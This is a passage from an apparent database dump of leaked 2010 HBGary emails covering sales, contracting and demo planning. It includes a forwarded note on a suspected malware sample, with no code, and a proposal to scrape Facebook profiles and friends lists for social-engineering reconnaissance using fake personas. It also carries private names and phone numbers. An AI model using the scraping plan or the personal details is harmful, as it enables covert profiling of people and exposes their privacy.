Hoglund wrote:\r\n\r\n>  \r\n> Jim, Scott, Chark,\r\n>  \r\n> I would like to give you guys a training today in how to post and embed MP4 movies into the hbgary website.  The process is slightly technical but 100% straightforward.  Let me know if you have availability today.\r\n>  \r\n> -Greg\r\n\r\n',16749,'aaron_hbgary_com/16749.html'),(10978,'2010-08-27','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008434.M148849P14101Q5833.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','CINDER Program','Information on the CINDER program\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=cf11e81b7b06330fd249804f4c247606&amp;tab=core&amp;_cview=0\r\n',6677,'aaron_hbgary_com/6677.html'),(10979,'2010-08-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008434.M359391P14101Q5834.eml','\"Aaron Barr\" <aaron@hbgary.com>','the artist','http://www.mikiyaokada.com/\r\n \r\n-Greg\r\n',3542,'aaron_hbgary_com/3542.html'),(10980,'2010-08-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008435.M122198P14101Q5835.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','FW: for demo','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin and Greg,\r\n\r\n \r\n\r\nI thought you guys would like to see this.  I got this file\r\nsent to me yesterday before a demo.  It appears to be a CLI Borland compiler…\r\nI tried double clicking on it inside of vmware but it didn’t do anything…. \r\nthe guy said that they were seeing custom compiled code on each one of their\r\nservers that was compromised.    He said that the hospitality\r\nsector is being targeted hard right now. \r\n\r\n \r\n\r\nI guess I can see the value in knowing who is staying where and\r\nin what rooms all over the world.\r\n\r\n \r\n\r\nJust take off the bak and it will execute.\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bardsley, Steven\r\n[mailto:Steven.Bardsley@ihg.com] \r\nSent: Thursday, August 26, 2010 2:36 PM\r\nTo: rich@hbgary.com\r\nSubject: for demo\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSteven\r\nBardsley\r\nDirector,\r\nInformation Security Dept\r\n\r\n\r\n\r\n770.442.7226\r\n(direct)\r\nhttp://www.ihg.com\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nInterContinental\r\nHotels Group\r\n1200 Windward Concourse \r\nAlpharetta, Georgia 30005\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9776,'aaron_hbgary_com/9776.html'),(10981,'2010-08-27','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297008436.M243298P14101Q5837.eml','\"Aaron Barr\" <aaron@hbgary.com>','Announcement from The Intelligence Community (IC) - POSTING PROTOCAL','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn  Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: Announcement from The Intelligence Community (IC) - POSTING PROTOCAL \r\n      \r\n      \r\n	        Just a quick note the group regarding posting protocol.  Recently a “Former” member of the group made a post in the discussions section of our group.  I received several e-mails from members expressing their concern.  Thank you to those of you who brought it to my attention.  The post was intended to warn members of our group regarding the practices of another member of the group. However, it became very personal in nature.  This member has been removed from the group as will any other member in the future that does not maintain the expected level of professionalism with regards to their activity within the group. \r\n\r\nIn the interest of maintaining a professional group, personal attacks from one member against another WILL NOT BE TOLERATED.  \r\n\r\nThe success of this group is dependent on our members. With over 5,000 members of The Intelligence Community (IC) group, I cannot review and monitor every post.  I count on the members of the group to bring to my attention any questionable activity.  If you ever have a concern regarding a post within our group please do not hesitate to contact me.  \r\n\r\nThank you for your continued participation in The Intelligence Community (IC)\r\n\r\nSincerely,\r\nJohn Goodenow\r\nModerator\r\n	      \r\n      Posted By John Goodenow\r\n      \r\n    \r\n    \r\n      View or add comments &#187;\r\n    \r\n    \r\n    \r\n    Don\'t want to hear from the manager? Unsubscribe here\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n  \r\n\r\n\r\n',16267,'aaron_hbgary_com/16267.html'),(10982,'2010-08-27','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008436.M30121P14101Q5836.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Experience, Personnel, and Resources','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAttached is the Experience matrix.&nbsp; Please\r\nproof-read. Email back to me any changes, additions, corrections.&nbsp; Metrics,\r\nin particular, are desperately needed.\r\n\r\n&nbsp;\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCheck the totals in the Personnel sections &#8211; let me\r\nknow if these numbers are correct and/or believable.\r\n\r\n&nbsp;\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease itemize your available corporate resources as we\r\ndiscussed on the call today, such as:\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Center\r\nof Excellence How-To (based on your COEs elsewhere)\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOC\r\nbest practices, SLAs and other metrics\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Labs,\r\nincluding digital forensics, reverse engineering, and black box testing.\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll be at this all weekend, so please get me these\r\nupdates no later than Sunday 5pm to ensure we incorporate your BEST answers!\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11834,'aaron_hbgary_com/11834.html'),(10983,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008436.M496637P14101Q5838.eml','\"Chris Young\" <chris@ism.com>,\"Chris Young\" <chris@ism.com>','Re: FW: ISM PO # 15541','ThanksBobby Miller has  Red Team they could use the software for their Incident Response.Also, tell Norm HBGary has a sister company HBGary Federal with clearances and you can resell their services and they are also doing some Social Media Training and there is a high interest for that...  they also do offensive work, managed services, pen testing etc,\r\nOn Fri, Aug 27, 2010 at 11:22 AM, Chris Young &lt;chris@ism.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\n \r\n\r\n\r\n\r\nR/Chris\r\n\r\nISM, Inc.\r\n\r\n301-670-1813\r\n\r\nwww.ism.com\r\n\r\n\r\n \r\n\r\nThis e-mail message, including any attachments, is for the sole use\r\nof the intended recipient(s) and may contain confidential and privileged\r\ninformation. Any unauthorized review, use, disclosure or distribution is\r\nprohibited. If you are not the intended recipient, please contact the sender by\r\nreply e-mail, delete and then destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kim Burns\r\n[mailto:kim@ism.com] \r\nSent: Friday, August 27, 2010 2:05\r\nPM\r\nTo: penny@hbgary.com\r\nCc: ISM_Accounts\r\nSubject: ISM PO\r\n# 15541\r\nImportance: High\r\n\r\n\r\n\r\n \r\n\r\nPenny –\r\n\r\nPlease find attached ISM PO #15541, per your email to Chris\r\nYoung with pricing and part #’s.\r\n\r\nAppreciate if you would expedite this order.\r\n\r\nShould you need anything further please do not hesitate to\r\ncontact me or Chris at 301-670-1813.\r\n\r\nBest Regards / Kim\r\n\r\n \r\n\r\nKim Burns\r\n\r\nBusiness\r\nSecurity Executive\r\nInternational\r\nSystems Marketing, Inc.\r\n611\r\nRockville Pike, Suite\r\n 120\r\nRockville, MD 20852\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n301-670-1813\r\n\r\n301-670-4706\r\n(Fax)\r\n301-674-9268\r\n(cell)\r\n \r\nwww.ism.com\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n&quot;Our\r\nBusiness Is Securing Your Business&quot;\r\n\r\n \r\nThis\r\ne-mail message, including any attachments, is for the sole use of the intended\r\nrecipient(s) and may contain confidential and privileged information. Any\r\nunauthorized review, use, disclosure or distribution is prohibited. If you are\r\nnot the intended recipient, please contact the sender by reply e-mail, delete\r\nand then destroy all copies of the original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',1100,'aaron_hbgary_com/1100.html'),(10984,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008436.M837014P14101Q5839.eml','\"Aaron Barr\" <aaron@hbgary.com>','ISM','ISM is a small reseller with established trust at House of Reps, State Dept and CBO  Norm is the owner he is shrewd but has kept the company very small.. I think he could help you to sell services at these organizations or at least get you in front of the right people\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4667,'aaron_hbgary_com/4667.html'),(10985,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008437.M288716P14101Q5841.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: FW: ISM PO # 15541','AaronCan you reach out to Chris at ISM... there should be opportunities for you to move ISM into new areas of service that they can offer to their customers.Maria\r\n---------- Forwarded message ----------From: Chris Young &lt;chris@ism.com&gt;Date: Fri, Aug 27, 2010 at 11:37 AMSubject: RE: FW: ISM PO # 15541\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInteresting about HBGary Federal.  Is\r\nthere any info you can send to me on that or a website?  Thanks!\r\n\r\n \r\n\r\n\r\n\r\nR/Chris\r\n\r\nISM, Inc.\r\n\r\n301-670-1813\r\n\r\nwww.ism.com\r\n\r\n\r\n \r\n\r\nThis e-mail message, including any attachments, is for the sole use\r\nof the intended recipient(s) and may contain confidential and privileged\r\ninformation. Any unauthorized review, use, disclosure or distribution is\r\nprohibited. If you are not the intended recipient, please contact the sender by\r\nreply e-mail, delete and then destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\n\r\nSent: Friday, August 27, 2010 2:32\r\nPM\r\nTo: Chris Young\r\nCc: Aaron Barr\r\nSubject: Re: FW: ISM PO # 15541\r\n\r\n\r\n\r\n \r\n\r\nThanks\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBobby Miller has  Red Team they could use the software for their\r\nIncident Response.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso, tell Norm HBGary has a sister company HBGary Federal with\r\nclearances and you can resell their services and they are also doing some\r\nSocial Media Training and there is a high interest for that...  they also\r\ndo offensive work, managed services, pen testing etc,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Fri, Aug 27, 2010 at 11:22 AM, Chris Young &lt;chris@ism.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\n \r\n\r\n\r\n\r\nR/Chris\r\n\r\nISM, Inc.\r\n\r\n301-670-1813\r\n\r\nwww.ism.com\r\n\r\n \r\n\r\nThis e-mail message, including any attachments, is for the sole use\r\nof the intended recipient(s) and may contain confidential and privileged information.\r\nAny unauthorized review, use, disclosure or distribution is prohibited. If you\r\nare not the intended recipient, please contact the sender by reply e-mail,\r\ndelete and then destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kim Burns [mailto:kim@ism.com] \r\n\r\nSent: Friday, August 27, 2010 2:05\r\nPM\r\nTo: penny@hbgary.com\r\nCc: ISM_Accounts\r\nSubject: ISM PO\r\n# 15541\r\nImportance: High\r\n\r\n\r\n\r\n \r\n\r\nPenny –\r\n\r\nPlease find\r\nattached ISM PO #15541, per your email to Chris Young with pricing and part\r\n#’s.\r\n\r\nAppreciate\r\nif you would expedite this order.\r\n\r\nShould you\r\nneed anything further please do not hesitate to contact me or Chris at\r\n301-670-1813.\r\n\r\nBest Regards\r\n/ Kim\r\n\r\n \r\n\r\nKim Burns\r\n\r\nBusiness\r\nSecurity Executive\r\nInternational\r\nSystems Marketing, Inc.\r\n611\r\nRockville Pike, Suite\r\n 120\r\nRockville, MD 20852\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n301-670-1813\r\n\r\n301-670-4706\r\n(Fax)\r\n301-674-9268\r\n(cell)\r\n \r\nwww.ism.com\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n&quot;Our Business Is Securing\r\nYour Business&quot;\r\n \r\nThis\r\ne-mail message, including any attachments, is for the sole use of the intended\r\nrecipient(s) and may contain confidential and privileged information. Any\r\nunauthorized review, use, disclosure or distribution is prohibited. If you are\r\nnot the intended recipient, please contact the sender by reply e-mail, delete\r\nand then destroy all copies of the original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales\r\nDirector | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',5007,'aaron_hbgary_com/5007.html'),(10986,'2010-08-27','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008437.M529294P14101Q5842.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>','RE: Another Killer Demo','\r\n	It\'d be even easier with the graph APIs...\r\nhttp://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\nit out pretty quick. (Someone else\'s facebook account, please, though!)\r\n\r\n	What\'s the workflow we\'d be shooting for, other than as a\r\nvisualization front-end for an organization\'s structure? \r\n\r\n\r\n\r\n	I think we\'ve done a twitter presentation at Govcon in the past --\r\ntrying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\nnew just by expanding it to facebook. But that wasn\'t specifically in a\r\npen-testing/cybersecurity context. An integration with this and some other\r\npen-testing data -- known account identifiers, and data collected from them,\r\nfor example -- might be cool. If we could bring in some malware fingerprint \r\ndata too, and build a whole \"here\'s how we pwned your network\"\r\nexploration...\r\n\r\n	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\nhelpful.\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 26, 2010 11:43 AM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman; Ted Vera; Mark Trynor\r\nSubject: Re: Another Killer Demo\r\n\r\nOn the social side here is what I would like to do.  I think between Mark\r\nand Aaron this could be put together very quickly and would be powerful.\r\n\r\nstart with a profile in facebook.\r\n\r\nhttp://www.facebook.com/profile.php?id=100001092994636\r\n\r\nView the source of that page.  There is all kinds of information we can\r\ncollect and parse to build some very robust social maps.\r\nThose people that provide information and have their friends lists exposed\r\nprovide an incredible social engineering and recon tool.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n\r\n> Brandon is a rockstar!!! Good call.\r\n> \r\n> Let us know if you want help on the demo, sounds like it could be really\r\n> interesting.  We\'d probably love to make a video of is as well to put up\r\non\r\n> our analysis blog (with HBGary branding of course!).\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 25, 2010 10:36 PM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman\r\n> Subject: Another Killer Demo\r\n> \r\n> Matt,\r\n> \r\n> I have been doing talks on social media, have a lot more scheduled, along\r\n> with some training gigs.  In the process I am setting up a lot of personas\r\n> and doing social media pen testing against organizations.\r\n> \r\n> What I have found is there is an immense amount of information peoples\r\n> friends lists as well as other social media digital artifacts can tell us.\r\n> I think Palantir would be an awesome tool to present and use for analysis.\r\n> We are just going to have to get someone to write a helper app.  I am\r\nhoping\r\n> to be able to hire Brandon Colston soon.\r\n> \r\n> Aaron\r\n\r\n',4054,'aaron_hbgary_com/4054.html'),(10987,'2010-08-27','arc@westfields.net','/aaron@hbgary.com/new/1297008437.M61583P14101Q5840.eml','federal@hbgary.com','IARPA - N/A / Rose Announcement Posting','\r\nAn announcement has been posted on the IARPA/N/A-Rose effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IARPA - N/A /Rose from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1769,'aaron_hbgary_com/1769.html'),(10988,'2010-08-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008437.M779423P14101Q5843.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: General Catalyst Partners','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan&#8217;t remember , but you should\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, August 24, 2010 2:28 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: General Catalyst Partners\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDId u respond to this guy? &nbsp;This is the VC guy right?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Upton,\r\nRic&quot; &lt;rupton@generalcatalyst.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nAugust\r\n10, 2010 3:23:57 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n&quot;Upton,\r\nRic&quot; &lt;rupton@generalcatalyst.com&gt;,\r\n&quot;raupton1@comcast.net&quot; &lt;raupton1@comcast.net&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nGeneral Catalyst Partners\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny and Aaron -\r\nit was good to talk with you a couple of weeks ago at Blackhat. I hope you had\r\na great conference. As usual, it was an exciting and interesting mix of\r\ncompanies, clients and people.\r\n\r\nAs I mentioned when I spoke with you, I\'d appreciate the opportunity to talk\r\nfurther with you about your insights and perspectives in the security area, and\r\nwould be happy to share some of our plans at General Catalyst as well. I will\r\nbe in DC on Tuesday and Wednesday of each of the coming three weeks (starting\r\nAugust 17,18) and would be happy to stop by to meet with one or both of you.\r\n\r\nWe\'re excited about what we see in this market and HB Gary is certainly one of\r\nthe outstanding thought leaders.\r\n\r\nLet me know if any of those dates might work for you. I look forward to getting\r\ntogether again.\r\n\r\nRegards ... Ric\r\n-- \r\nDr. Richard A. Upton\r\nExecutive in Residence\r\nGeneral Catalyst Partners\r\n20 University Road\r\nCambridge, MA 